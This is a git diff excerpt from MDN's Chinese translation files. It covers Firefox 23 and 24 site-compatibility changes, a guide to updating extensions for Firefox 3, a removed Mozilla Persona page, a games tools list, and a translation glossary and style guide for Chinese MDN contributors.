Firefox previously supported the Netscape-derived blink effect with the blink keyword for the CSS text-decoration property as well as the HTML blink element and the DOM String.blink method. Starting with Firefox 23, the blink effect no longer works. While text-decoration:blink continues to be supported by the CSS parser and the DOM APIs, the HTML parser has dropped the blink element support, thus the element will be treated as an unknown element. Internet Explorer, Chrome and Safari haven't supported the effect. Opera may also drop the support once it switches to the Blink rendering engine.

+
+
+
+

DOM

+
+

添加到侧边栏的功能被删除

+ +

window.sidebar.addPanel and window.sidebar.addPersistentPanel are no longer supported. These methods were a part of a Netscape-derived API which allowed Web publishers to integrate their contents as sidebar panels of the browser. They were not standardized, rarely used, and not very well supported. No other browsers have implemented these.

+

There is also a plan to remove window.sidebar itself in the future.

+
+
+

requestAnimationFrame脱前缀

+ +

requestAnimationFrame, the unprefixed version of mozRequestAnimationFrame, has been added. This unprefixed method passes a DOMHighResTimeStamp to callbacks. It has microsecond precision and can be compared to performance.now().

+

On the other hand, the prefixed method, which will be removed in the future, continues to pass an epoch-based DOMTimeStamp to callbacks. The passed-in value has millisecond precision and can be compared to mozAnimationStartTime.

+
+
+

跨域文档的contentDocument属性现在返回null

+ +

The contentDocument property on frames now returns null if the caller doesn't subsume the document. This change affects the contentDocument property on the frame, iframe and object elements as well as the getSVGDocument method on the embed, iframe and object elements.

+
+
+

window.defaultStatus被删除

+ +

The window.defaultStatus property is no longer available. Setting this property has had no effect in Firefox because the default preference has disallowed changes to the status text by Web pages. Recently, the Firefox UI dropped support for enabling that pref. Also, this property is not specified in the HTML5 spec. window.status is still available.

+
+
+

不再允许创建AnimationEvent和TransitionEvent

+ +

The support for obsolete document.createEvent("AnimationEvent"), document.createEvent("TransitionEvent"), AnimationEvent.initAnimationEvent, and TransitionEvent.initTransitionEvent has been removed.

+
+
+
+

视频和音频

+
+

Audio Data API被废弃

+ +

The non-standard, experimental Audio Data API is now considered deprecated. The standard Web Audio API can be used instead.

+
+
+

HTMLMediaElement.initialTime被删除

+ +

The HTMLMediaElement.initialTime property is no longer available, due to the removal from the spec.

+
+
+
+

安全和隐私

+
+

在SSL页面(HTTPS)上的非SSL活动内容会被默认阻止

+ +

Firefox 18 introduced preferences to block loading content from non-SSL (http) sites on SSL (https) pages. One of those preferences, security.mixed_content.block_active_content is now enabled by default in order to enhance user security. That means insecure scripts, stylesheets, plug-in contents, inline frames, Web fonts and WebSockets are blocked on secure pages, and a notification is displayed instead. It will not block "display content" like images, videos or audio. See Tanvi Vyas' blog post for details.

+

Mozilla is tracking mixed content issues found on major sites as well as its own properties.

+
+
diff --git a/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html new file mode 100644 index 0000000000..296e580123 --- /dev/null +++ b/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html @@ -0,0 +1,22 @@ +--- +title: Firefox 24网站兼容性 +slug: Site_Compatibility_for_Firefox_24 +translation_of: Mozilla/Firefox/Releases/24/Site_compatibility +--- +
{{FirefoxSidebar}}

{{ draft() }}

+

Firefox 24 Aurora (pre-Beta) will be released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

+

This article only explains the changes that may affect backward compatibility for Websites. For the other new features and changes, please read the following documents:

+ +

This list may be updated until the release of the final version on , so please check back later.

+
+

DOM

+
+

releaseEvents,captureEvents,routeEvent等方法被删除

+ +

The releaseEvents, captureEvents, routeEvent, enableExternalCapture and disableExternalCapture methods on the window object have been removed. They were Netscape-derived APIs deprecated since Firefox 3 and the implementation has been no-op (doing nothing). Recently Google Chrome (the Blink rendering engine) also removed the support for those methods. The standard DOM Event methods, including addEventListener and removeEventListener, should be used instead.

+
+
diff --git a/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html b/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html new file mode 100644 index 0000000000..96a2e8ec19 --- /dev/null +++ b/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html @@ -0,0 +1,217 @@ +--- +title: 为Firefox 3升级扩展 +slug: Updating_extensions_for_Firefox_3 +tags: + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3/Updating_extensions +--- +
+ +

英文原文取自于 http://developer.mozilla.org/en/docs/Extensions 这篇文章将对于那些想把他们的扩展在Firefox 3中正常运行的开发者提供一些有用的信息。

+ +

在进入主题之前,首先要提示一下:如果你的扩展所需要的唯一改变只是安装文件中的maxVersion信息,并且你的扩展所在的主机是addons.mozilla.org,事实上你不需要上传你的新的版本的扩展!只需要在AMO中使用开发者控制面板调整maxVersion。通过这种方式你可以避免你的扩展被再次审核。

+ +

第一步: 升级安装文件

+ +

第一步,当然,对于大多数的扩展也仅需要这一步——更新安装文件install.rdf,声明扩展兼容Firefox 3。

+ +

找到声明兼容的最大版本号的那一行(对于Firefox2,如下):

+ +
 <em:maxVersion>2.0.*</em:maxVersion>
+
+ +

对于Firefox 3,如下:

+ +
 <em:maxVersion>3.0.*</em:maxVersion>
+
+ +

然后重新安装扩展。

+ +

注意,在Firefox3的本版号中没有额外的“.0”,所以请使用“3.0.*”,而非“3.0.0.*”。

+ +
Note: Note that at this point more changes in Firefox 3 are expected. These changes may break some extensions, so you shouldn't release an extension with 3.0.* maxVersion to the users until the Firefox 3 release candidate is out. During the Firefox 3 Beta period, you should use 3.0b5 as your maxVersion.
+ +


+ There have been (and will continue to be) a number of API changes that will likely break some extensions. We're still working on compiling a complete list of these changes.

+ +
Note: If your extension still uses an Install.js script instead of an install manifest, you need to make the transition to an install manifest now. Firefox 3 no longer supports install.js scripts in XPI files.
+ +

Add localizations to the install manifest

+ +

Firefox 3 supports new properties in the install manifest to specify localized descriptions. The old methods still work however the new allow Firefox to pick up the localizations even when the add-on is disabled and pending install. See Localizing extension descriptions for more details.

+ +

Step 2: 确保提供安全的更新

+ +

If you are hosting addons yourself and not on a secure add-on hosting provider like addons.mozilla.org then you must provide a secure method of updating your add-on. This will either involve hosting your updates on an SSL website, or using cryptographic keys to sign the update information. Read Securing Updates for more information.

+ +

Step 3: Deal with changed APIs

+ +

Several APIs have been changed in significant ways. The most significant of these, which will likely affect a large number of extensions, are:

+ +

DOM

+ + +

将外部文档的节点插入当前文档之前,你必须使用 document.importNode() 从外部文档导入源节点,或者使用 document.adoptNode()导入源节点, + 想要了解更多的 Node.ownerDocument 问题,请参考 W3C DOM FAQ.

+ +

即使你不执行导入动作,就执行插入外部文档中的节点.Firefox目前也不会报错(如果严格按标准执行,很多已有的网站都无法正常运行). + 我们鼓励开发者严格按标准修改自己已有的不符合上述标准的代码.

+ +

Bookmarks & History

+ +

If your extension accesses bookmark or history data in any way, it will need substantial work to be compatible with Firefox 3. The old APIs for accessing this information have been replaced by the new Places architecture. See the Places migration guide for details on updating your existing extension to use the Places API.

+ +

Download Manager

+ +

The Download Manager API has changed slightly due to the transition from an RDF data store to using the Storage API. This should be a pretty easy transition to make. In addition, the API for monitoring download progress has changed to support multiple download manager listeners. See nsIDownloadManager, nsIDownloadProgressListener, and Monitoring downloads for more information.

+ +

Password Manager

+ +

If your extension accesses user login information using the Password Manager, it will need to be updated to use the new Login Manager API.

+ + + +

You can also override the built-in password manager storage if you want to provide your own password storage implementation in your extensions. See Creating a Login Manager storage module for details.

+ +

Popups (Menus, Context Menus, Tooltips and Panels)

+ +

The XUL Popup system was heavily modified in Firefox 3. The Popup system includes main menus, context menus and popup panels. A guide to using Popups has been created, detailing how the system works. One thing to note is that popup.showPopup has been deprecated in favor of new popup.openPopup and popup.openPopupAtScreen.

+ +

Autocomplete

+ +

The nsIAutoCompleteController interface's handleEnter() method has been changed to accept an argument that indicates whether the text was selected from the autocomplete popup or by the user pressing enter after typing text.

+ +

DOMParser

+ + + +

Removed interfaces

+ +

The following interfaces were removed from Gecko 1.9, which drives Firefox 3. If your extension makes use of any of these, you'll need to update your code:

+ + + +

Step 4: Check for relevant chrome changes

+ +

There has been a minor change to the chrome that may require changes in your code. A new vbox has been added, called "browser-bottombox", which encloses the find bar and status bar at the bottom of the browser window. Although this doesn't affect the appearance of the display, it may affect your extension if it overlays chrome relative to these elements.

+ +

For example, if you previously overlaid some chrome before the status bar, like this:

+ +
<window id="main-window">
+  <something insertbefore="status-bar" />
+</window>
+
+ +

You should now overlay it like this:

+ +
<vbox id="browser-bottombox">
+  <something insertbefore="status-bar" />
+</vbox>
+
+ +

Or use the following technique to make your overlay work on both Firefox 2 and Firefox 3:

+ +
<window id="main-window">
+  <vbox id="browser-bottombox" insertbefore="status-bar">
+    <something insertbefore="status-bar" />
+  </vbox>
+</window>
+
+ +
Note: This change is effective for Firefox 3 beta 4 and the pre-beta 4 nightlies.
+ +

其他方面的修改

+ +

Add simple changes you had to make while updating your extension to work with Firefox 3 here.

+ + diff --git a/files/zh-cn/mozilla/mozilla_persona/index.html b/files/zh-cn/mozilla/mozilla_persona/index.html deleted file mode 100644 index 583cb6cb5a..0000000000 --- a/files/zh-cn/mozilla/mozilla_persona/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Mozilla Persona -slug: Mozilla/Mozilla_Persona -tags: - - Mozilla - - Persona ---- -
-

保持联系或获取帮助!

-

关注 我们的 blog,加入 我们的邮件列表,或在 IRC 中的 #identity 找到我们。

-
-

Mozilla Persona 是一个用于 web 的完全去中心化且安全的验证系统,基于开放 BrowserID 协议。Mozilla 当前管理一个 Persona 相关的一个可选的、中心化服务的一小组套件。

-

为什么你和你的站点应该使用 Persona?

-
    -
  1. Persona 完全消除了站点特定的密码, 把用户和网站从创建、管理和安全存放密码的责任中解放出来。
  2. -
  3. Persona 易于使用。只需点击两次,一个 Persona 用户可以登入到一个诸如 VoostThe Times Crossword 的新站点,绕开了账户创建相关的摩擦。
  4. -
  5. Persona 易于实现。开发人员在一个下午就可以把 Persona 添加到站点上。
  6. -
  7. 最好的是,不会被锁定。 开发人员获取所有他们用户的验证过的邮件地址,而用户可以在 Persona 上使用任何邮件地址。
  8. -
  9. Persona 基于 BrowserID 协议构建。一旦流行的浏览器供应商实现了 BrowserID,它们不再需要依赖于 Mozilla 来登入。
  10. -
-

继续阅读来开始!

-
- 注意:Persona 在活跃开发中。关注我们的 blog 来了解新特性,或加入我们的邮件列表来提供反馈!
-

在你的站点上使用 Persona

- - - - - - - - - - - -
-

准备开始

-
-
- 为什么使用 Persona?
-
- 了解在你的站点上支持 Persona 的原因和它与其它身份验证系统的区别。
-
- 快速安装
-
- 一份快捷的攻略,展示了如何向你的网站中添加 Persona。
-
-
-

Persona API 参考

-
-
- navigator.id API 参考
-
- navigator.id 对象的参考,web 开发者可以用此来把 Persona 继承到站点中。
-
- 验证 API 参考
-
- 建立在 https://verifier.login.persona.org/verify 上的远程验证 API 的参考。
-
-
-

指导

-
-
- 安全考虑
-
- 确保 Persona 部署安全的实践和技术。
-
- 浏览器兼容性
-
- 准确获知哪些浏览器支持 Persona。
-
- 国际化
-
- 了解 Persona 如何处理不同的语言。
-
-
-

资源

-
-
- 库和插件
-
- 寻找你偏好的编程语言、web 框架、博客或是内容管理系统(CMS)的即插库。
-
- Persona cookbook
-
- Persona 站点的示例源代码。包括 PHP、Node.JS 等等的片段。
-
- 品牌资源
-
- 登入按钮和其它向用户表现 Persona 的图形。
-
-
-

 

- - - - - - - -
-

给身份提供者的信息

-

如果你是一个电子邮件提供商或另一个身份提供服务,翻阅下面的链接来获知如何成为一个 Persona 身份提供者。

-
-
- IdP 概述
-
- Persona 身份提供者的高层视角。
-
- 实现一个 IdP
-
- 成为一个 IdP 的详细技术细节指导。
-
- 开发提示
-
- 开发一个新的身份提供者的一系列开发提示和技巧。
-
- .well-known/browserid
-
- .well-known/browserid 文件的结构和用途概述,这个文件被 IdPs 用于通知它们支持这个协议。
-
-
-

Persona 项目

-
-
- 术语表
-
- BrowserID 和 Persona 定义的术语。
-
- FAQ
-
- 常见问题的回答。
-
- 协议概述
-
- 底层 BrowserID 协议的中等技术概述。
-
- 加密
-
- 一瞥 Persona 和 BrowserID 背后的密码学概念。
-
- 协议规范
-
- 这里是深层技术细节。
-
- Persona 网站
-
- 要让 Persona 运作, 我们在https://login.persona.org 建立了三个服务:一个备用身份提供者、一个可迁移的 {{ domxref("navigator.id") }} API 实现以及一个身份断言验证服务。
-
- Persona 源码
-
- Persona 网站背后的源码托管在 GitHub 的一个仓库上。欢迎提交补丁!
-
-
-

 

diff --git a/files/zh-cn/orphaned/example_2_-_using_ul/index.html b/files/zh-cn/orphaned/example_2_-_using_ul/index.html new file mode 100644 index 0000000000..0ac22c34df --- /dev/null +++ b/files/zh-cn/orphaned/example_2_-_using_ul/index.html @@ -0,0 +1,7 @@ +--- +title: Please Delete this doc 请删除本页 +slug: Example_2_-_Using_UL +--- +

Please Delete this doc

+ +

请删除本页

diff --git a/files/zh-cn/orphaned/games/tools/engines_and_tools/index.html b/files/zh-cn/orphaned/games/tools/engines_and_tools/index.html new file mode 100644 index 0000000000..082f9e0f39 --- /dev/null +++ b/files/zh-cn/orphaned/games/tools/engines_and_tools/index.html @@ -0,0 +1,68 @@ +--- +title: 游戏引擎和工具 +slug: Games/Tools/引擎和工具 +translation_of: Games/Tools/Engines_and_tools +--- +
{{GamesSidebar}}
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

HTML5 游戏引擎

+ +

下面是用HTML5和JavaScript实现的游戏引擎:

+ + + +

HTML5 game tools

+ + + +

Useful technologies

+ +

The following can be useful when developing games based on Web technologies.

+ + + +
+

Note: Not every browser supports every part of HTML5. For example, Canvas isn’t supported out of the box by any Internet Explorer version below 9. However, you can use Explorer Canvas to replicate canvas functionality (but that is not ideal and does not perform as well). WebSockets is supported by IE only in IE 10, and it isn’t supported in the stock browser of Android. But again, you can fake this by using Flash for the sockets, such as with Socket.IO. While supported in the latest versions of every other browser, WebGL in Internet Explorer requires at least version 11.

+
+ +

Game template

+ +

You can use the Mortar Game Stub template to get a quick start on an HTML5 game, or you can use it to get ideas on best practices.

diff --git a/files/zh-cn/orphaned/glossary_of_translation/index.html b/files/zh-cn/orphaned/glossary_of_translation/index.html new file mode 100644 index 0000000000..c3fedad9ab --- /dev/null +++ b/files/zh-cn/orphaned/glossary_of_translation/index.html @@ -0,0 +1,572 @@ +--- +title: 翻译术语表和翻译规范 +slug: Glossary_of_translation +tags: + - Translation + - localize +--- +

为了规范 MDN 上的术语、用语及规范,在此建立一个供编者、译者参考的术语表和翻译规范。如需查阅其他 Web 开发术语,请参见词汇表(有待翻译)。

+ +

术语表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
原文译文注释
Creative Commons License知识共享许可协议有些空间不足等原因可能简称CC协议
best practices最佳实践 最佳实践,是一个管理学概念,认为存在某种技术、方法、过程、活动或机制可以使生产或管理实践的结果达到最优,并减少出错的可能性。(参考 维基百科
Mozilla Demo StudioMozilla 演示室 
Demo演示如果会产生歧义或需特别注明,可以译为“演示(Demo)”
KumaKuma这里特指用于 MDN 的 wiki (维基知识库)软件系统本身,不译
MozillaMozilla指 Mozilla 基金会时,不译
谋智特指谋智网络(Mozilla 中国全资子公司)时
FirefoxFirefox虽然“谋智网络”网页等处翻译为火狐,但软件目前仍显示为 Firefox,且 MDN 访者皆可了解,故暂不译。
Add-on|Addons附加组件 +

扩展、插件、外观(主题)的总称

+
Extension扩展 +

本体 .xpi

+
Plug-in|Plugin插件 +

本体 DLL

+
Appearance外观 +

原称为主题(Theme),后某个版本开始在附加组件管理器中已改为外观。

+
WebWeb +

准确的翻译的话,应该对应中文的“网络”,然而感觉太容易有歧义了。不如不译。

+
World Wide Web万维网 +

虽然说这样翻译最好,但翻译后可能有些人不懂(还真有这样的),所以可以引注万维网的具体释义:一个由许多互相链接的超文本组成的系统,通过互联网访问。

+
   +

 

+
+ +

翻译规范

+ +

这里列出了一些在翻译工作中经常会遇到的一些问题,并给出一些参考意见和建议。

+ +

MDN 是开放性的,每个人都可根据自己的兴趣和能力为其做出贡献。而无论你做出的贡献是大是小,都有可能会让很多的人从中受益,所以请不要吝惜自己的才华。

+ +

但是,开放并不代表毫无约束和规范。MDN 中有几篇与风格和规范有关的文章可供参考(本文即为其中之一)。我们建议你认真阅读并尽量遵守,这会使你的文章与其他人保持一致,而一致的风格会让读者阅读起来更加轻松和惬意。

+ +

本规范主要给你在翻译 MDN 上的英文文章时提供参考。其中的内容绝大部分都不是强制的(强调一下,MDN 是开放性的,我们更关注内容本身的价值,其次才是样式和风格),但是如果每个人都能注意这些并遵守,必然会让 MDN 变得更加美好。因此,何乐而不为呢?

+ +

另外还有几篇与此有关的文章。如果你正准备为 MDN 添加一篇新的文章,可以参考 MDN Web 文档写作规范,这篇文章是从英文翻译过来的,其中的部分内容并不适合中文写作,但这并不妨碍你从中受益。而如果你对 MDN 编辑器(就是在 MDN 中撰写或编辑文章时使用的在线所见即所得编辑器)还不熟悉,可以参考这里的说明。

+ +

最后,感谢你能够耐心阅读本文。Let‘s get started.

+ +

意译优于直译

+ +

技术文档的翻译不比文学作品的翻译,因为一般来说,技术类文章都是采用直述方式来撰写的,因此翻译相对简单,即使是完全的直译也不会导致读者无法理解的问题。

+ +

但是由于中英文的语法、表述习惯、以及思维方式上的差异等诸多客观因素,如果只是机械化地对原文的每一句话进行直译,仍然可能会影响翻译质量。因此就我个人的经验来看,在翻译的时候把握原文的意思,然后适当采用意译的方式来翻译,是一种比较好的技术类文章的翻译实践。

+ +

避免逐句翻译

+ +

一般来说,我们拿到一篇英文文章,在翻译的时候都会采用边阅读边翻译的方式,也就是逐句翻译。这种方式有点类似于计算机处理指令。优点是简单直观,比较流程化;而缺点则是容易导致翻译较为生硬,并且容易产生理解偏差甚至错误。

+ +

翻译生硬是因为当你把注意力集中在某条句子上面时,就容易被其英文表达方式所影响,从而由逐句翻译变为逐词翻译,翻译出来的中文经常带有明显的“翻译腔”(想了解什么是翻译腔?)。

+ +

容易产生理解偏差和理解错误,是因为逐句翻译时容易忽略它们与上下文中其他内容之间的联系,从而导致对原文的意思把握不够全面,有时候就会产生理解上的偏差,甚至是完全曲解原文的意思。

+ +

对于不是专业从事翻译工作的人来说(我想大多数志愿者应该都不是专业的翻译人员),很难避免逐句翻译的习惯,但是我们在这里给出几点建议,可以帮助你提高翻译质量。

+ + + +

我们鼓励你在翻译之前先将英文版的原文通读一遍,至少应该通读一下当前准备翻译的小节,这样可以减少对原文的理解偏差。

+ + + +

写作文的时候,老师会强调修改的必要性;写代码的时候,我们也会强调重构的好处。翻译也是一样,不要想着一次成功,想要一遍就得到高质量的成果是很难的。我们可以先采用逐句翻译的方式,得到译文的第一稿,然后再通过重构去修正和优化它。重构可能会重复好几轮最终才能得到一篇高质量的的译文。

+ +

不要担心过程繁琐或重构会占用你太多时间。记住,宁缺毋滥,不准确甚至错误的翻译只会误导他人,而我们的理想是给他人带来帮助。

+ +

误解:100% 翻译 = 准确

+ +

可能有些人会有这样的误解:我必须把英文原文中的每一句话都翻译出来,不能遗漏,只有这样才是准确的翻译。

+ +

这种观念是错误的。首先,由于英文和中文在表述习惯上的差异,有些句子在英文中比较自然,但如果直接翻译为中文就会显得有些啰嗦。此时我们可以选择将其精简一下,把冗余的部分去掉。不要担心丢掉了这些内容之后会让译文不准确,必要的删减只会让译文更加简洁,阅读起来也更加流畅。

+ +

比如英文中经常会见到“he/she”、“and/or”这样的表达方式。看起来比较严谨,但是在中文中并没有类似的习惯,因此简单将其翻译为“他”、“和”(也可以是“或”)即可。如果非要追求“准确”而将其翻译为“他/她”、“和/或”反而有画蛇添足之感(并且翻译腔也比较浓)。

+ +

表述习惯上的差异还包括语序、句式、时态、词性等,关于中英文两种语言在表述习惯上的差异,可以参考下面的小节。

+ +

其次,英文原文也不一定是 100% 正确的。MDN 上的英文文档虽然质量很高,但它也是由人维护的,是人就会有疏忽和犯错的时候,因此我们所翻译的原文并不一定是完全正确的。而作为翻译者,我们不应该只满足于翻译活动本身,还应该在翻译过程中勇于发现和改正原文的错误之处。

+ +

准确表述原文意思

+ +

这一点并不是一条具体的规范,因为我不会、也无法解释如何才能做到“准确表述原文的原意”。将这一点列在这里主要是为了强调我们应该努力提高翻译的准确性。

+ +
+

我们要对翻译的每一句话负责。如果你的翻译中有错误,就可能会让读者产生误解,而这比不给他们提供译文更糟糕(没有译文时,读者可以阅读英文原文,或去其他地方查找相关资料)。注意,这里所说的错误特指严重的概念性错误或原则性错误,而不是由于疏忽而导致的排版错误、打字错误等小的失误。

+
+ +

下面这个例子是我之前翻译过的一篇文章里面的一段内容。原文是这样的:

+ +
The term "global objects" (or standard built-in objects) here is not to be
+confused with the global object. Here, global objects refer to objects in
+the global scope. The global object itself can be accessed using the this
+operator in the global scope (but only if ECMAScript 5 strict mode is not
+used; in that case it returns undefined). In fact, the global scope consists
+of the properties of the global object, including inherited properties, if
+any.
+ +

这段话中有两个微妙的词“global objects”和“global object”,一个是复数一个是单数。但我们知道,中文的名词并没有单复数的变化,因此直译过来都是“全局对象”,然而原文却恰恰需要对两者的不同进行解释,但是同一个名词怎么会有两种不同的解释呢?如何在中文中表达原文的意思呢?

+ +

我们先来看之前的翻译,它采用的是直译,即将两个词都翻译为”全局对象“(将这个作为反例列在这里并没有贬低或指责的意思,仅仅是想通过这个例子让大家理解本小节所要表达的意思):

+ +
“全局对象(global objects)”(或标准的内置对象)与全局对象(global object)不同。
+这里的全局对象(global objects)指的是全局作用域中的对象。而全局对象(global
+object)本身可以……实际上,全局作用域由全局对象(global object)的属性组成,包括
+继承属性(如果有的话)。
+ +

”全局对象与全局对象不同“,显然会让读者犯糊涂。虽然译者在两个”全局对象“后面加上了它们的英文名称,但是收效甚微,读者仍然会被这段话搞晕,因为它们的英文名称也是很相似的。因此,这里必然不能采用直译的方式,而应该选择符合原文意思,但是中文名称又有明显不同的名词来翻译。下面是我对这段译文的重新翻译:

+ +
标准内置对象也称为全局对象(global objects)。注意这里的全局对象指的是具有全局作用域
+的“一组”对象,而全局对象这个词还有一层意思,用来指代当前环境中的顶层对象,该对象在……
+事实上,全局作用域就是由顶层对象的属性组成的,包括继承而来的属性(如果有的话)。
+ +

我选择把第二个全局对象(即单数形式的 global object)翻译为”顶层对象“,这样就把两个全局对象从中文名称上区别开了。同时,我还对整段译文进行了较大的调整,因为如果仅仅是将“global object”替换为“顶层对象”仍然不是很好,可能会让读者感到困扰。请将上面的译文与下面的这段对比一下:

+ +
“全局对象”(或标准的内置对象)与顶层对象不同。这里的全局对象指的是全局作用域中的对象。
+而顶层对象本身可以……实际上,全局作用域由顶层对象的属性组成,包括继承属性(如果有的话)。
+
+ +

一个读者在初次读到这段话的时候,可能会产生以下疑问:

+ +
    +
  1. 全局对象当然与顶层对象不同了,它们的名称就不一样啊,为什么要强调这一点?
  2. +
  3. 为什么要将两者放到一起比较?就像你说月亮和犀牛是不一样的,我肯定会感到奇怪。
  4. +
+ +

所以,追求意思准确的同时还要尽量让中文表述更合理、自然。

+ +

认识英文和中文在表述习惯上的不同

+ +

由于思维方式、表述习惯、语言语法/句法等方面的差异,同样的意思,中文和英文在表述形式上经常会有差异。而我们在翻译的时候应当注意并尽量抹平这种差异,以符合中文读者的阅读习惯。这可以有效提高你的翻译质量。

+ +

下面是我所想到的一些中文和英文在表述习惯上的差异。欢迎补充。

+ +
英文中主语很少省略
+ +

英文强调格式严谨,一个句子里面主语谓语通常是必须有的,但中文则注重表意,只要意思表达清楚就行。对于这样的句子,多数时候我们都不需要把其中的主语翻译出来。

+ +
+

All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.

+
+ +

这句话中的“they”就是一个不太重要的主语(虽然是在从句中),翻译时去掉也不会有什么影响:

+ +
+

传递给函数的所有参数都会以函数的参数列表中的标识符名称来对待,并以它们传递时的顺序来匹配。

+
+ +
万能动词
+ +

英语中有很多万能动词:do、make / take、get、have 等,遇到这些万能动词的时候最好留意一下,尽量将其替换成其原本所要指代的动作。

+ +
+

可能是受英文的影响,中文中也越来越多地出现了一些万能动词,比如“作为”、“进行”等。个人认为这是一种不好的现象,应该尽量避免滥用这些词。

+
+ +
被动句式
+ +

英语中经常喜欢用被动句式来表达一种被动关系。但其实在中文里面我们一般只有在需要强调物和人之间存在被动关系的时候才会使用被动句式,其他时候一般不会刻意使用被动句式。如果将文章中出现的每个被动句式都翻译成“被……”可能会让译文看起来略显生硬且翻译腔浓重。因此应该仅在必要的时候才采用被动句式来翻译,其他时候直接忽略原文中的被动关系即可。

+ +

这种情况在英文中很常见,随便找一下就能找到不少。比如:

+ +
+

Strings are useful for holding data that can be represented in text form. 

+
+ +

如果直接翻译,可能会翻译成:

+ +
+

字符串在用来保存那些可以被表示成文本形式的数据时很有用。

+
+ +

这样翻译虽然也能正确表达原文的意思,但是中文在这种情况下一般不会刻意使用被动句式,所以完全可以去掉“被”字:

+ +
+

字符串在用来保存那些可以表示成文本形式的数据时很有用。

+
+ +

其实这句话还可以进一步简化:

+ +
+

字符串在保存文本数据时很有用。

+
+ +

原文最后的整个从句仅仅用来说明“data”是“文本数据”而已,“can be represented in”和最后的“form"都是次要的,在中文里面完全可以省略。你甚至可以将这句话翻译成下面这样:

+ +
+

字符串可以用来保存文本数据。

+
+ +

完全不会影响读者的理解!

+ +
将来句式
+ +

和被动句式一样,英文中也经常使用将来句式来表达这是一个可能发生的动作或者将来会发生的动作。然而,同被动句式一样,翻译的时候我们通常都不需要将其翻译成“将……”。

+ +

这种情况同样有很多,随便举一例:

+ +
For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. 
+ +

很多人会把这句话翻译成:

+ +
+

尽管可以使用方括号的方式来访问字符,但是试图删除或为其赋值将不会成功。

+
+ +

这样翻译会带有明显的翻译腔,实际上并不需要把原文中的“will”翻译出来,直接忽略即可:

+ +
+

尽管可以使用方括号的方式来访问字符,但是试图删除或为其赋值是无法成功的。

+
+ +
一个……
+ +

英文中的名词有单复数变化,在遇到复数名词的时候,我们一般都知道并不需要刻意把这种复数翻译出来。但是还有一种情况我们却往往会忽略,那就是单数可数名词前面有“a”或“an”的时候,我们经常会翻译成“一个……”。实际上,多数时候并不需要加上这个数量词。

+ +

比如下面这个例子:

+ +
+

It's possible to use String as a more reliable toString() alternative, as it ...

+
+ +

当然,你可以按照原样来翻译,将“a”翻译为“一种”或“一个”:

+ +
+

将 String 函数作为 toString() 方法的一种更可靠的替代是可行的,因为它……

+
+ +

虽然看起来没什么问题,但是这里的“一种”、“一个”是完全多余的,去掉之后不但不会影响翻译效果,而且还会显得更加简洁。其实这个翻译还犯了一个前面所说过的万能动词的问题,“作为”在这里并不是太好,另外把“possible”翻译为“可行”、“可能”也不是很好,因为“possible”在这里只是用来说明“可以”这么做。

+ +

总之,这个翻译的翻译腔还是浓了点,仍然有改进的空间:

+ +
+

可以用 String 函数代替 toString() 方法,并且这样更可靠一些,因为它……

+
+ +
当……的时候
+ +

英文中经常会使用”when“来表示一种状态,或某种条件,而在中文里面我们不会经常用“当……的时候”这种表述方式来表达这种状态和条件。所以不要一遇到“when”、“while”,就把它翻译成“当……的时候”,应该先判断一下这里的“when”和“while”确实是用来表示时间,还是仅仅用来表示状态或条件。

+ +

看下面这个例子:

+ +
When memory is shared, multiple threads can read and write the same data in memory. 
+ +

这里的“when”所表示的就是一种条件,所以最好不要将其翻译为“当内存是共享的时候”。下面是我的翻译:

+ +
+

多个共享内存的线程能够同时读写同一位置上的数据。

+
+ +

翻译中的标点符号

+ +

英语有一个比较死板的规则,一个句子中包含了主谓宾的时候,就应该用句号把这个句子结束掉,然后再另起一句。但是中文却没有这种限制,因此在翻译的时候,我们不要总是把英语的句号当做一个句子的结束,有时候把逻辑关系比较强的几句英文合并为一句中文会更好。

+ +

排版和风格

+ +

这一节介绍了一些在页面排版、样式、风格等方面可能会遇到的一些问题,并给出指导建议。

+ +

关于英文单词两边的空格

+ +

首先,这是一个见仁见智的问题,不同的人可能有不同的喜好。这里建议你加上空格(因为我喜欢 :-p),当然你完全可以按照自己的喜好来。

+ +

但是,请在同一篇文章中保持风格统一。如果你正在编辑别人之前翻译过的文章,也请尽量与文章原有风格保持一致(或者如果你不嫌麻烦,可以将整篇文章全部改成你喜欢的风格)。整齐划一的风格会使阅读时如沐春风,从而有利于读者从你的文章中获益。

+ +

标点符号

+ +

请在译文中使用中文标点。在中文中夹杂着英文标点是很不严谨的做法,并且不利于读者的阅读体验。

+ +
+

这里所说的标点不包括代码中的标点。但如果选择翻译代码中的注释,则注释中的标点也应该一并翻译为中文。

+
+ +

这里不再强调一般的标点对应关系,仅列举几种特殊情况:

+ + + +

小节标题的翻译

+ +

MDN 上的很多文章都具有类似的结构,比如很多文章都包含“Specifications”和“Browser compatibility”两个小节。为了保证文章间的统一性,常见小节的标题翻译应尽量保持一致。下面就给出一些文章中常见的小节及其推荐翻译方法。此表欢迎补充。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常见小节的标题翻译
英文标题推荐翻译方法不推荐翻译方法示例
Examples示例例子、举例Array 中的示例一节
Specifications规范标准、规范文档Array 中的规范一节
Browser compatibility浏览器兼容性浏览器的兼容性、浏览器兼容Array 中的浏览器兼容性一节
See also相关链接参考、参见、更多内容Array 中的相关链接一节
Obsolete已过时已废弃、作废、淘汰<a> 标签的已过时一节
Syntax语法句法Array 中的语法一节
Description描述说明Array 中的描述一节
Properties属性属性列表Array 中的属性一节
Methods方法方法列表Array 中的方法一节
…… instances……实例……对象、……实例化Array 中的数组实例一节
